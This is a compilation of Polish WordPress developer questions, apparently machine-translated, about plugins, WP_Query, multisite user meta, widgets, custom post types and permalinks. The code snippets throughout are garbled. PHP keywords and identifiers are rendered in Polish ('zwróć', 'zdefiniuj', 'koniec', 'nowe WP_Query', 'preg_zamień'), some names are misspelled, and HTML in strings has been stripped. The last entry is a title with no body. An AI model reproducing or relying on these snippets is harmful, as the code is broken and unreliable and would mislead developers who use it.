Opracowałem wtyczkę javascript pobierającą dane dla mojej strony internetowej (tu nie ma wordpress). Użytkownik może po prostu dodać go do swojej witryny za pomocą div (kontenera wtyczki) i tagu skryptu (wtyczki). Ta wtyczka wyświetla mapę google z kilkoma ciekawymi informacjami. Ponieważ wordpress nie pozwala użytkownikowi dodawać własnych js, staram się napisać wtyczkę wordpress omijając to za pomocą funkcji wp_register/wp_enqueue. Mój javascript jest załadowany (tak samo jak google maps api), jednak mapa google nie jest wyświetlana (google api jest wywoływane z mojej wtyczki, a nie ze skryptów kolejki wp). Jakiś pomysł/sugestia? EDIT: Oto kod wtyczki wp + co jest używane w postach do wyświetlania widżetu (nie mogę pokazać wtyczki, ponieważ ma setki linii, mogę tylko powiedzieć, że działa na klasycznym serwerze) : zdefiniuj ( 'EVP_IDS_PATTERN', '/\[EVP_WIDGET:\{ID:"(\w+)"\},\{TYPE:"(\w+)"\}\]/i' ); functon insert_evp_widget ( $text ) { if ( is_single ( ) || is_page ( )) { $ids = []; // Strona zawiera identyfikator kolekcji evp if ( preg_match ( EVP_IDS_PATTERN, $text, $ids )) { // Dodajemy skrypt do strony (css jest ładowany bezpośrednio z widżetu) wp_register_script ( 'evp_widget', 'http: //widget.evp.com/javascripts/app.js' ); wp_enqueue_script ( 'evp_widget' ); // Dodajemy kontener widżetów na stronie $widget = '

'; $tekst .= $widget; // Usuń tag widżetu wordpress z artykułu. $text = preg_replace (EVP_IDS_PATTERN, '', $text ); zwróć $tekst; } } } add_filter ( 'zawartość', 'insert_evp_widget' ); Dane posta używane do wyświetlania widżetu: [EVP_WIDGET:{ID:"Xm9sAzEzMDY"},{type:"album"}] Widget ma umożliwiać wyświetlanie dwóch rodzajów widżetów: albumu i wersji mapy. Wersja albumu działa (z wywołaniem API przy użyciu json-p), jednak wersja mapy nie działa (wywołanie API przy użyciu wywołania json-p + google maps). Skrypty google są na stronie.


title: Niestandardowy kolor przycisku menu typu post

text: Jeśli stworzę niestandardowy typ posta, mogę zmienić ikonę używaną w panelu za pomocą tego 'menu_icon' => [TUTAJ ŚCIEŻKA DO PLIKU]. '/images/portfolio-icon.png', // Ścieżka ikony Czy można zmienić kolor przycisku w dashboardzie.


title: Rozwiązywanie problemu get_user_meta() w Multisite

text: Obecnie buduję sieć blogów dla indywidualnych agentów nieruchomości. Obecnie broker będzie miał główną witrynę, z witrynami agentów dodanymi jako podkatalogi, np. www.example.com i www.example.com/agent. Szablon `front-page.php` każdego agenta ma obszar, który wyświetla informacje kontaktowe agenta. Obecnie używam `get_user_meta()` w moim szablonie motywu, aby uzyskać dostęp do informacji o użytkowniku z profilu użytkownika, ale szybko zdałem sobie sprawę, że kiedy uzyskuję dostęp do tych danych, nie ma względnego sposobu uzyskania dostępu do informacji o użytkowniku określonego podkatalogu. Kiedy używam tego kodu: echo get_user_meta(2, 'display_name', true); w szablonie motywu, domyślnie przy każdej instalacji tego motywu w sieci dodawane są informacje `user_id=2. Logicznie rozumiem dlaczego. Ale jak mogę sprawić, by informacje o Joe pojawiły się na www.example.com/joe, a informacje o Chrisie na www.example.com/chris? Szukam rozwiązania, które można jakoś zdefiniować w ramach administratora, więc skalowanie tego motywu jest tak proste, jak to tylko możliwe. EDYCJA: Myślę, że teraz, gdy o tym myślę, możliwym rozwiązaniem byłoby utworzenie strony opcji motywu za pomocą `get_option` do wywołania wprowadzonych informacji. Miałem tylko nadzieję, że istnieje łatwiejszy sposób na odzyskanie informacji o użytkowniku, ponieważ niektóre z nich są już tworzone podczas tworzenia użytkownika. Jeśli uważasz, że masz dobre rozwiązanie tego problemu, myślę, że warto o tym pisać. W ten sposób nie udało mi się znaleźć żadnych informacji dotyczących user_meta i multisite.


title: Uniemożliwić użytkownikom zaplecza wyświetlanie powiadomień WP/Plugin i powiadomień o aktualizacjach?

text: Obecnie po zalogowaniu się do backendu, czasami, gdy wtyczka ma aktualizację lub Wordpress ma aktualizację, na górze pojawia się powiadomienie informujące użytkownika o aktualizacji lub jeśli wtyczka wymaga uwagi, na przykład, jeśli ustawienie nadal wymaga skonfigurowania lub coś takiego. Czy istnieje sposób, aby uniemożliwić użytkownikowi zobaczenie tego powiadomienia? Funkcja czy coś? Na marginesie, teraz używam: http://wordpress.org/extend/plugins/advanced-access-manager/ Z góry dziękuję!


title: Jak wykonać get_users() z wieloma meta_kluczami?

text: W kodeksie jest napisane, że można wykonać get_users() z wieloma kluczami meta przy użyciu parametru meta_query, ale nie wyjaśnia, w jaki sposób. Czy ktoś może mi podać przykład?


title: Wiele stron wyświetlających zawartość „Najnowsze posty”

text: Moja strona indeksu jest ustawiona na wyświetlanie najnowszych postów. Ma niestandardową opcję wyświetlania go w formacie „siatki” i inną opcję wyświetlania tylko jednego posta w wierszu z fragmentem. Chcę ustawić dwie oddzielne strony, aby wyświetlać obie treści. Na przykład: „blog-grid” i „blog-classic”. Wiem, że przechodząc do Ustawienia> Czytanie mogę ustawić jedno z nich, ale co z drugim? Ponadto jestem pewien, że mogę utworzyć niestandardowe zapytanie, aby wyświetlić lewą zawartość, ale zastanawiam się, czy mam inne rozwiązanie.


title: Wordpress Shop i ograniczanie produktów i kategorii dla niektórych użytkowników/grup

text: Mam ten sklep internetowy, który zbudowałem w WordPress, bez WooCommerce, bez Wp-Commerce lub coś w tym rodzaju, ale od zera. Użytkownicy odwiedzający witrynę będą musieli być zalogowani, aby przeglądać produkty i kategorie, w przeciwnym razie zostaną przekierowani na stronę logowania. Oto moje pytanie, stworzyłem grupę użytkowników testowych i grup/roli użytkowników. Mam wszystkie te kategorie z produktami w środku, niektóre produkty należą do tej samej kategorii. Teraz chcę ograniczyć niektóre kategorie dla określonych użytkowników/grup. Mając to na uwadze, nadal chcę, aby użytkownik mógł zobaczyć produkt, JEŚLI produkt dzieli inną kategorię, do której użytkownik ma dostęp. Zasadniczo ograniczanie użytkowników / grup do kategorii (w tym produktów w kategorii), które mogą zobaczyć. Czy to ma sens? Jakie byłoby najlepsze podejście do tego? Nie proszę o kodowanie wszystkiego dla mnie, właśnie siedziałem jakieś 3 lub 4 dni i nie zrobiłem jeszcze niczego, co działałoby tak, jak chcę, próbowałem nawet kilku wtyczek takich a Ogranicz kategorie, członków, role członków itp. Pozdrawiam Martin


title: plik regEx wp core

text: Mam problem ze sposobem, w jaki WordPress obsługuje tworzenie kotwicy strony. Przycisk zakotwiczenia strony jest już zdefiniowany w kodzie WordPress TinyMCE... i można go dodać za pomocą wtyczki Ultimate Tinymce lub TinyMCE Advanced. Po kliknięciu przycisku zakotwiczenia strony otwiera się wyskakujące okienko z prośbą o zdefiniowanie nazwy kotwicy. Jeśli wpiszesz wszystkie litery `(myAnchor)`, wszystko działa zgodnie z oczekiwaniami. Wprowadzanie liter i cyfr zaczynających się od litery „(myAnchor123)” działa zgodnie z oczekiwaniami. Ale podczas wprowadzania kotwicy zaczynającej się od liczby `(123myAnchor)`... zgłaszany jest błąd. Oto kod z pliku WordPress `wp-include/js/tinymce/themes/advanced/js/anchor.js`: if (!name || !/^[a-z][a-z0-9\-\_ :\.]*$/i.test(nazwa)) { tinyMCEPopup.alert('advanced_dlg.anchor_invalid'); zwrócić; } Jestem okropny z funkcją `regEx`. To, co chciałbym zrobić, to zachować dotychczasową funkcjonalność, ale także dodać możliwość dodawania kotwic zaczynających się od numeru. Jakieś sugestie, jak powinien wyglądać nowy `regEx`? Bardzo dziękuję!


title: Moja funkcja klasy nie widzi parametrów adresu URL GET

text: Mam ustawiony zestaw zmiennych utworzony za pomocą add_filter w moim pliku funkcji wtyczek: add_filter('query_vars', 'user_country_var' ); add_filter('query_vars', 'user_lat_var' ); add_filter('query_vars', 'user_lon_var' ); Odwołuje się do tego kod, którego użyłem do przetworzenia filtrów. Działało to dobrze, gdy kod został właśnie wrzucony do pliku szablonu. Próbuję wszystko uporządkować i jestem zbita z tropu. Umieściłem następującą funkcję w klasie, która jest obecnie wywoływana w init i na pewno tam jest (jest obok innego kodu, który działa dobrze). Ale to po prostu nie pobiera zmiennych z mojego adresu URL, a więc generuje rezerwę „twój kraj”: // wyciągnij zmienną z adresu URL if (isset($wp_query->query_vars['country'])) { $this-> user_country = $wp_query->query_vars['kraj']; } else { $this->user_country = 'twój kraj'; } if (isset($wp_query->query_vars['lat'])) { $this->user_lat = $wp_query->query_vars['lat']; } else { $this->user_lat = '52.5'; } if (isset($wp_query->query_vars['lon'])) { $this->user_lon = $wp_query->query_vars['lon']; } else { $this->user_lon = '13.4'; } Czy jest jakiś powód, dla którego nie powinno być możliwości pobrania zmiennych? Jak powiedziałem, ustawia ona domyślną wartość publicznych zmiennych klasy i jest wykonywana. Po prostu nie uzyskuje się zmiennych, nawet gdy są tam ... Mogę opublikować więcej kodu, jeśli to pomoże, lub rzeczywiście wyjaśnić. Z góry dziękuję za wszelkie pomysły!


title: Co oznacza 2 dolary?

text:
Natknąłem się na linię w jakimś kodzie Wordpress, który modyfikuję i po prostu nie wiem, co to jest 2,3 USD? Może to rzecz PHP, której po prostu nigdy się nie nauczyłem? Czy ktoś może mi to wyjaśnić? Oto wtyczka, którą modyfikuję: <?php /* Nazwa wtyczki: Pinterest Plugin URI wtyczki: http://www.WordPressPinterestPlugin.com Opis: Wyświetlaj przycisk „Pin It” Pinteresta nad obrazami tylko wtedy, gdy ludzie się poruszają ich kursor myszy nad obrazem. Wersja: 1.0 Autor: Promotioner.com URI autora: http://www.WordPressPinterestPlugin.com /*============================ =========================================================== ============================== */ class pin_success { function pin_success() { add_filter('the_content', array('pin_success ', 'nosn_pinterest')); } function nosn_pinterest($treść) { global $post; $posturl = urlencode(get_permalink()); //Pobierz adres URL posta $pindiv = '
'; $pinurl = ''; $pinend = '
'; $pattern = '//i'; $zamiennik = $pindiv.$pinurl.'$2.$3'.$pindescription.$pinfinish.''.$pinend; $zawartość = preg_zamień( $wzór, $zastąpienie, $zawartość ); zwróć $treść; } } $successnexus = nowy pin_success; wp_enqueue_style('sn_pinterest', plugins_url('sn_pinterest.css', __FILE__)); ?>


title: Uzyskać dane z niestandardowego typu postu do innego niestandardowego typu posta?

text: Zastanawiam się, czy mogę to zrobić: mam niestandardowy typ posta o nazwie Staff, tam możesz utworzyć/dodać swój personel. Następnie mam inny niestandardowy typ posta o nazwie Projekty. Kiedy dodaję nowy projekt, chcę otrzymać listę wszystkich pracowników, a następnie wybrać członka personelu, który był aktywny w tym projekcie. Jak więc uzyskać dane od personelu typu post niestandardowy do projektów typu post niestandardowy?


title: Niestandardowy link do użytkownika WordPress

text: Mam mały problem z moją stroną wordpress. Muszę zmienić permalinki użytkownika. Linki bezpośrednie powinny zawierać dane z tabeli wp_usermeta. Zrobiłem kilka funkcji i linki zostały zmienione, ale kiedy mam do nich dostęp, pojawia się komunikat: Nie znaleziono strony. Kupię ci piwo, jeśli powiesz mi, co jest nie tak w moim kodzie. Oto kod: add_filter( 'request', 'wpse5742_request' ); function wpse5742_request( $query_vars ) { if ( array_key_exists ( 'autor_name', $query_vars )) { global $wpdb; $author_id = $wpdb->get_var( $wpdb->prepare( "SELECT user_id FROM {$wpdb->usermeta} WHERE meta_key='nick' AND meta_value = %s", $query_vars['author_name']) ); $query_vars['autor'] = $author_id; unset( $query_vars['autor_name'] ); } return $query_vars; } add_filter( 'link_autora', 'wpse5742_link_autora', 10, 3 ); funkcja wpse5742_author_link( $link, $author_id, $author_nicename ) { $part1 = get_user_meta( $author_id, 'nick', true ); $part2 = get_user_meta( $author_id, '_themex_city', true ); $część3 = get_user_meta( $author_id, '_temex_temat', prawda ); $nowylink = $część1.'/'.$część2.'/'.$część3; if ( $nowylink ) { $link = str_replace( $nazwa_ładnej_autora, $nowylink, $link ); } return $link; } add_action( 'user_profile_update_errors', 'wpse5742_set_user_nicename_to_nickname', 10, 3 ); function wpse5742_set_user_nicename_to_nickname( &$errors, $update, &$user ) { if ( ! empty( $user->nickname ) ) { $user->user_nicename = sanitize_title( $user->nickname, $user->display_name ); } } Permalink, który chcę utworzyć to: **`example.com/username/miasto/zawód`**


title: Jak zmienić tekst (datę) w bazie postów na dzień

text: Więc pytanie wydaje się niejasne, przepisuję je, aby mieć nadzieję na najlepsze i uzyskać kilka świetnych pomysłów. Piszę post WordPress Sticky (zawsze pierwszy na górze). W tekście tego posta jest napisane coś w stylu: Działaj szybko, zapisz się na następne zajęcia. następna data: 10 września 2012 r. Jednak w miarę upływu czasu data się zmienia i aby zachować ten post, należy zmienić aktualną datę. Więc gdzie mogę umieścić listę dat i automatycznie zmienić datę postu (tekst) zgodnie z następną bazą dat na dzisiejszą datę ... jaka wtyczka kodu php może to zrobić ... myślę, że shortcode może to zrobić, ale jaki masz sposób, aby to naprawić? \-- przykładowe zestawienie daty : * 10 wrz 2012 * 30 wrz 2012 * 5 paź 2012 * 22 paź 2012 * ....na podstawie tego przykładu załóżmy, że dzisiaj jest 1 paź, więc lubię post do czytania : Act szybko, zapisz się na następne zajęcia. następna data : październik 5 2012. W ten sposób lista dat ignoruje przeszłą datę (za późno kurs jest skończony) i pokazuje następną datę w oparciu o dzisiejszą datę i niech ludzie wiedzą... pospiesz się, jest szybko albo nigdy. Wiem, że będzie inna data, ale klient nie musi tego wiedzieć! * * * > **Uwaga redaktora:** Dla wyjaśnienia, oto krótkie wyjaśnienie, o co prosi OP >. * Post ma wiele „dat”. * Każda data oznacza zmianę treści posta. * Gdy data mija, szablon powinien się zautomatyzować. rozpoznaj to i zmień zawartość. _Zastrzeżenie: to zrozumiałem._


title: Tłumaczenie nie działa po edycji szablonu wtyczki

text: Buduję stronę internetową za pomocą Wordpress i korzystam z wtyczki Event Organizer. Zmieniłem plik konfiguracyjny Wordpressa, aby używał języka nl_NL (holenderski). To wszystko działa dobrze, nawet w przypadku wtyczki, z wyjątkiem stron, które używają szablonu, który przeładowałem w moim motywie potomnym. Stworzyłem więc ten motyw potomny na dwadzieścia jedenaście lat, skopiowałem plik szablonu wtyczki i umieściłem go w moim motywie potomnym i tam go edytowałem. Teraz tylko część jest tłumaczona na niderlandzki, angielskie słowa/zdania, które pojawiają się po zredagowanych częściach (które normalnie są tłumaczone) pozostają w języku angielskim. Na przykład widzę tę linię w moim szablonie: <?php edit_post_link( __( 'Edytuj'), '', '' ); ?> lub ten wiersz: $utility_text = __( 'To wydarzenie zostało opublikowane przez %4$s.', 'eventorganiser' ); który następnie zostaje wydrukowany za pomocą `printf`. Nie dodałem tych linii, były już w szablonie i działały, gdy szablon był niezmieniony. Co mogę zrobić, aby to naprawić? Nawet przycisk edycji, który tłumaczy na holenderski na innych stronach, nie tłumaczy. Rozwiązanie jednoliniowe byłoby świetne.. Ale niestety tak nie będzie :D


title: Dlaczego ten formularz wyszukiwania nie jest przesyłany po kliknięciu przycisku?

text: Mam na swojej stronie formularz wyszukiwania, który działa doskonale, kiedy wpisuję tekst i naciskam enter, jednak nie wysyła niczego po kliknięciu przycisku `.submit-search`, dlaczego tak jest? uwaga: `value="2"` jest przeznaczony do konkretnego użytku. <form action="<?php echo home_url(); ?>" class="search-form" method="get"> <input class="search-input" type="text" value="Szukaj... " name="s" id="s" onblur="if(this.value == '') this.value = 'Search...'" onfocus="if(this.value == 'Search... ') this.value = ''"> <input class="submit-search" type="button" value="2"> </form>


title: Ukrywanie ścieżki do katalogu

text: Nie jestem pewien, czy dobrze to sformułowałem, ale muszę ukryć katalogi mojej instalacji Wordpress. Mam na myśli to, że mogę wejść na, powiedzmy: www.example.com/wp-content/uploads/2012/08 ...i zobaczyć wszystkie moje pliki przesłane do mojej witryny w tym miesiącu. Każdy może uzyskać do niego dostęp z dowolnego komputera. Chcę to zablokować, aby ludzie mogli zobaczyć tylko to, co jest dostępne na stronach i postach mojej witryny, bez możliwości dostępu do systemu plików mojej witryny. Oczywiście nie można uzyskać dostępu do każdego pliku w moim katalogu głównym, więc może to normalne, że każdy może uzyskać dostęp do moich przesłanych plików. Po prostu trochę zdezorientowany i byłbym wdzięczny, gdyby ktoś mógł to dla mnie wyjaśnić. Dziękuję!


title: Jak uzyskać wszystkie obrazy z wyjątkiem pierwszego zawartego w Poście?

text: Mam ten kod, który daje mi wszystkie obrazki dołączone do posta. <?php if ( have_posts() ) : while ( have_posts() ) : the_post(); $args = array( 'post_type' => 'attachment', 'numberposts' => -1, 'post_status' => null, 'post_parent' => $post->ID ); $załączniki = get_posts( $args ); if ( $attachments ) { foreach ( $attachments as $attachment ) { echo wp_get_attachment_image( $attachment->ID, 'full'); } } koniec; endif; ?> Jednak ze względu na stylizację potrzebuję dwóch pętli, jednej, aby dać mi tylko pierwszy obraz, a drugiej, aby dać mi wszystkie załączone obrazy oprócz pierwszego. Zmiana 'numberposts' => -1 na 'numberposts' => 1 da mi tylko pierwszy obrazek, ale co mam zrobić, aby uzyskać wszystkie obrazki oprócz pierwszego?


title: Czy mogę używać dwóch różnych tabel użytkowników do instalacji WP?

text: Lubię robić różnicę między wewnętrznym użyciem naszej witryny WP a zewnętrznym, używając oddzielnej tabeli użytkowników i tabeli usermeta, próbowałem tego, ale to nie działa, jeśli($_POST['user_login']!='admin-username' ) {//lub $ip != xxx.xxx.xxx.xx define('CUSTOM_USER_TABLE', 'wp_users_extern'); define („CUSTOM_USER_META_TABLE”, „wp_usermeta_extern”); } Jak mogę sprawić, żeby to działało? Pozdrowienia


title: Czy istnieją kategorie zdjęć?

text: Opracowuję motyw i jest sekcja z nagrodami i certyfikatami, która będzie składać się tylko z 4-6 małych logo. Czy istnieje sposób, aby umieścić te obrazy w kategorii, a następnie wyświetlić wszystkie te obrazy na stronie głównej za pomocą prostego kodu, aby klient nie musiał wchodzić w kod źródłowy? Dziękuję.


title: Dodawanie filmów wideo jako post-miniatur (bez zdjęć, tylko odtwarzacz w mniejszym rozmiarze)

text: Na mojej stronie startowej używam Fragmentów z miniaturami. Dodawanie obrazów działa całkiem dobrze. Ale jak mogę umieścić film z vimeo lub youtube jako post-miniaturę? Tylko wideo w mniejszym rozmiarze, a nie zrzut ekranu. Jakieś pomysły?


title: Jak uzyskać wartość koloru css administratora albo szarego lub niebieskiego?

text: Chcę zaimplementować opcję motywu, która będzie miała dwa pliki css. Przykład, jeśli obecny administrator ustawi swój profil na niebieski kolor, chcę załadować niebieski css dla opcji motywu. if (current-value-css-admin) załaduj niebieski w przeciwnym razie załaduj szary Daj mi znać, jak uzyskać bieżące dane dla koloru administratora wp.


title: Niestandardowy typ posta i zaawansowane pola niestandardowe

text:
Próbuję zbudować widżet paska bocznego, który będzie wysyłał zapytania do mojego niestandardowego typu posta o nazwie `wydarzenia`. To, co chciałbym zrobić, to zapytanie o posty dla dowolnego wpisu z pasującą wartością klucza meta, która jest podobna do dzisiejszej daty. Wartość pola niestandardowego jest ustawiana za pomocą selektora dat jQuery Advanced Custom Fields - chciałbym, aby widżet wyciągnął wartość dla metaklucza o nazwie „schoolday”, jeśli wartość dla metaklucza o nazwie „select_date_from_calendar” jest taka sama jako dzisiejszą datę zgodnie z zapytaniem PHP. Jak data echa czy coś. Oto, co mam do tej pory, co jeszcze muszę zrobić, aby ta wartość pola niestandardowego była wyświetlana w widżecie? <?php $posts = get_posts( array( 'numberposts' => -1, 'post_type' => 'zdarzenie', 'meta_key' => 'szkolny', 'meta_value' => '3' ) ); if($posts) { echo '
'; foreach($posts as $post) { echo '
ID) .'">' . get_the_title($post->ID) . '
'; } echo '
'; } ?>


title: Dostosowywanie kalendarza JQuery

text: Nigdy wcześniej nie używałem Jquery, więc utknąłem. Wyświetlany kalendarz datownika nie jest tym, czego szukam, więc chcę go dostosować, ale nawet nie wiem, od czego zacząć, ponieważ nie jestem pewien, jak używać jquery. Oto mój aktualny kalendarz: http://imgur.com/dwv5f Wszystko, czego chcę, to wyświetlany jeden miesiąc (widok domyślny), nie chcę menu rozwijanego roku i miesiąca (niewidoczne) i chciałbym zabronić daty z przeszłości (oraz dzień bieżący i jutro, jeśli to możliwe). Znalazłem pomocnika jquery ui tutaj http://jqueryui.com/demos/datepicker/ z przykładami i najwyraźniej wszystko, czego chcę, to naprawdę przywrócić domyślne: <script> $(function() { $( "# datepicker" ).datepicker(); }); </script> Następnie dla daty minimalnej maksymalnej miałem nadzieję, że ktoś może również wiedzieć, jak użyć tego kodu, aby ustawić mindate jako pojutrze, a maxdate jako 1 rok od teraz ( http://stackoverflow.com/questions/7896276 /customize-jquery-ui-datepicker ) $("#mydatepicker").datepicker({ maxDate: '', minDate: '', }); Ale nie wiem, jak zaimplementować to wszystko w Wordpress, pomoc jest doceniana w tym nowym w jquery i utknęła.


title: Jak utworzyć stronę administracyjną wp (do użycia w żądaniu ajax)

text: Jak mogę utworzyć adres URL do strony administratora (w /wp-admin/), której nie dodaję do nawigacji? Chcę użyć adresu URL do żądania ajax.


title: Szablon pliku RSS Wordpress

text: Muszę dodać trochę kodu do moich kanałów RSS, więc szukam pliku RSS Feed .php, aby móc dodać swój kod. Jakakolwiek pomoc w znalezieniu tego pliku szablonu byłaby bardzo mile widziana.


title: Jak korzystać z WP_Query, aby uzyskać szereg postów z niestandardowymi polami, które zawierają cyfry z literami?

text: ## To, co próbuję zrobić, używam `WP_Query()`, aby uzyskać posty na podstawie ich zakresu, na przykład: $args = array( 'numberposts' => -1, 'post_type' => 'page', ' posts_per_page' => -1, 'meta_query' => array( 'relation' => 'ORAZ', array( 'key' => 'parameters', 'value' => 'szerokość', ), array( 'klucz' => 'value', 'value' => array( '22mm', '55mm' ), // Czy można to zrobić, gdy używam NUMERYCZNYCH i BETWEEN? 'type' => 'NUMERIC', 'compare' = > 'MIĘDZY' )) ); $the_query = nowe WP_Query( $args ); ## W bazie danych W bazie danych moje wartości są przechowywane jako ciągi np. **22mm** , **55mm** itd. ## Pytanie Jak mogę powiedzieć zapytaniu, aby przeszukało zakres i zignorowało **mm** w **22mm**?


title: WP_Query ostatnich pięć postów, po prostu uporządkowanych według meta_value

text: Nie mogę uwierzyć, że zadaję to pytanie. Wydaje się, że jest to taka prosta metoda, ale wylałem strony WP i dziesiątki podobnych pytań bezskutecznie, więc oto... Mam WP_Query z następującym, który dostaje ostatnie 5 postów : $args = Array( 'post_type' => 'post', 'posts_per_page' => '5' ) Chciałem tylko uporządkować 5 ostatnich postów według meta_value_num z meta_key 'views'. Ale zamiast tego, kiedy umieszczam coś takiego jak poniżej, chwyta pięć najczęściej oglądanych postów w historii. $args = Array( 'post_type' => 'post', 'posts_per_page' => '5', 'meta_key' => 'views', 'orderby' => 'meta_value_num' ) Co robię źle? Czuję, że jest to nieskończenie frustrujące, prawdopodobnie bardziej, ponieważ wiem, że rozwiązanie jest prawie na pewno proste jak bułka z masłem.


title: Pobieranie wartości w gform_confirmation dla form grawitacyjnych

text:
Trochę informacji w tle: używam wtyczki Gravity Forms i próbuję użyć dynamicznego potwierdzenia niestandardowego. Jednak wypełniony formularz zawiera sporo zmiennych danych/wartości. Nie mogę jednak używać tych zmiennych. Po prostu się nie ładują. Jakieś wskazówki? Zobacz kod poniżej. add_filter("gform_confirmation_3", "custom_confirmation", 3, 4 ); function custom_confirmation($confirmation, $form, $lead, $ajax){ if($form["id"] == "3"){ $confirmation = "

Twoje jednostki dotrą za 6 godzin
 Przekierujemy Cię za 3 sekundy.

  Kliknij tutaj, aby zostać teraz przekierowanym

 "; } else if($form["id"] == "5"){ $confirmation = "Dziękujemy za skontaktowanie się z nami. Wkrótce skontaktujemy się z Tobą"; } return $potwierdzenie; }


title: Post.php - warunkowe instrukcje dla nowego posta i edycji posta

text: To pytanie pojawiło się podczas tworzenia niestandardowego pola meta dla strony edit.php. Czy istnieje instrukcja warunkowa do kierowania postów, które już istnieją, w porównaniu z postami, które nie zostały jeszcze utworzone? Pomysł: Jeśli edycja postu (post istnieje) { // Wyświetl niestandardowe pole wejściowe } else if dodając post (post nie istnieje) // Ukryj niestandardowe pole wejściowe } Ten fragment zostanie użyty w niestandardowym polu meta. Nie bardzo wiedziałem, czego szukać, bo wydawało mi się to zbyt szerokie... Czy najprostszym (i skutecznym) rozwiązaniem byłoby sprawdzenie, czy istnieje tytuł posta? Jeszcze tego nie próbowałem - ale wygląda na to, że zadziała.


title: Eksportuj/importuj bibliotekę multimediów w trybie offline

text: Zastanawiam się, czy WordPress Importer byłby w stanie wygenerować plik XML zawierający bibliotekę multimediów, którą można by importować offline, a nie tylko online? Obecnie, gdy eksportujesz zawartość na http://example.com/ i chcesz ją zaimportować do innej instalacji WordPressa, takiej jak `http://localhost/`, zawsze będzie pobierać multimedia z http://example.com/ i to wyrzuci komunikat „Nie udało się zaimportować multimediów”. gdy jesteś offline. Czy bibliotekę multimediów można wyeksportować razem z plikiem XML, więc nie jest potrzebne połączenie z Internetem, aby zaimportować ją w inne miejsce? Szukam takiego rozwiązania, ponieważ nawet jeśli obrazy są online na http://example.com/, nadal zwraca „Nie udało się zaimportować multimediów”. dla mnie za jakieś 5 z 50 obrazów... Rzadko kiedy udaje się pobrać je wszystkie.


title: Jak dodać niestandardowy obraz do koszyka

text: Używam wtyczki WooCommerce do bramki płatności. Na mojej stronie użytkownik może stworzyć swój własny projekt na płótnie po skończeniu dla WooTheme o nazwie Canvas. Po zakończeniu projektowania tego obrazu zapisuję obraz/zrzut ekranu w bazie danych. Kiedy użytkownik kliknie „dodaj do koszyka”, muszę pokazać ten zaprojektowany przez użytkownika obraz jako produkt w koszyku. Każde ciało ma jakiś pomysł, jak to zrobić. Próbowałem użyć haczyków filtrujących, ale nic nie uzyskałem. Jak dostosować następujący filtr haków? add_filter( 'nazwa_filtra', 'nazwa_twojej_funkcji' ); function nazwa_funkcji_( $zmienna ) { // TU JEST COŚ DO WYPEŁNIENIA return $zmienna; }


title: Niezdefiniowana zmienna w moim widżecie

text:
Próbuję zająć się pisaniem niestandardowych widżetów z opcjami. Śledziłem kilka samouczków i starałem się zrozumieć, jak idę. Mam widżet, który działa idealnie w menedżerze widżetów, ale na froncie otrzymuję `Undefined variable: image_path`. Nie mogę wyśledzić, co zrobiłem źle i zdecydowanie doceniłbym inną parę oczu. Kod widżetu: /* Widżet łącza obrazu ================================================== =========== */ class ImageLinkWidget extends WP_Widget { function ImageLinkWidget() { $widget_ops = array( 'classname' => 'google-map-widget nopadding', 'description' => 'Obraz które gdzieś łączy' ); $this-> WP_Widget('ImageLinkWidget', 'Obraz + Link', $widget_ops); } function form($instance) { $instance = wp_parse_args( (array) $instance, array( 'title' => '', 'image_path' => 'default' ) ); $tytuł = $instancja['tytuł']; $image_path = $instance['image_path'] ?>
 <label for="<?php echo $this->get_field_id('title'); ?>"> Tytuł: <input class="widefat" id= "<?php echo $this->get_field_id('title'); ?>" name="<?php echo $this->get_field_name('title'); ?>" type="text" value="<? php echo esc_attr($title); ?>" />

 <label for="<?php echo $this->get_field_id('image_path'); ?>"> Ścieżka obrazu (w tym http://): <input class="widefat" id="<?php echo $this->get_field_id('image_path'); ?>" name="<?php echo $this->get_field_name(' image_path'); ?>" type="text" value="<?php echo esc_attr($image_path); ?>" />
 <?php } aktualizacja funkcji($new_instance, $old_instance ) { $instancja = $stara_instancja; $instance['title'] = strip_tags( $nowa_instance['title'] ); $instance['image_path'] = strip_tags( $nowa_instance['image_path'] ); zwróć $instancję; } widget funkcji($args, $instance) { extract($args, EXTR_SKIP); echo $before_widget; $title = pusty($instancja['title']) ? ' ' : apply_filters('widget_title', $instance['title']); if (!empty($title)) echo $before_title . $tytuł . $po_tytule; // Pokaż obrazek z linkiem //echo ''; //echo ''; echo $ ścieżka_obrazu; //echo ''; echo $after_widget; } } add_action( 'widgets_init', create_function('', 'return register_widget("ImageLinkWidget");') ); Z góry dziękuję!


title: Właściwy sposób korzystania z funkcji wtyczki w functions.php

text: Właśnie natknąłem się na irytujący problem na jednej z moich stron WP. Używam wtyczki qtranslate i w functions.php mojego motywu mam dostęp do niektórych funkcji tej wtyczki. Wygląda na to, że functions.php aktywowanego motywu jest zawarty w backendzie WP (z jakiegoś powodu). Oznacza to, że kiedy dezaktywuję wtyczkę, funkcje z tej wtyczki, które są używane w functions.php, powodują nie tylko działanie frontendu, ale także backendu > Błąd krytyczny: niezdefiniowana funkcja the_function. Powoduje to trudną sytuację, ponieważ nie można ponownie aktywować wtyczki w uszkodzonym zapleczu. Moją pierwszą myślą było ręczne zdefiniowanie funkcji, do których mam dostęp i przesłanie pliku functions.php przez FTP. To działa, ale wtedy nie można aktywować wtyczki, ponieważ niektóre jej funkcje są już zdefiniowane. Jedynym sposobem rozwiązania tego problemu (który znalazłem) jest zmiana nazwy functions.php, reaktywacja wtyczki, a następnie zmiana nazwy functions.php z powrotem. Rzeczy sprowadzają mnie do mojego pytania (przepraszam za długie wprowadzenie): jaki jest wyznaczony sposób dostępu do funkcji wtyczek w niestandardowym motywie? Używanie `function_exists('the_function')` wszędzie nie jest zbyt przydatne. Czy WP zapewnia na to jakiś rodzaj opakowania? A może patrzę na to całkowicie w niewłaściwy sposób?


title: Dostosowujesz adresy URL stron logowania i rejestracji WordPress?

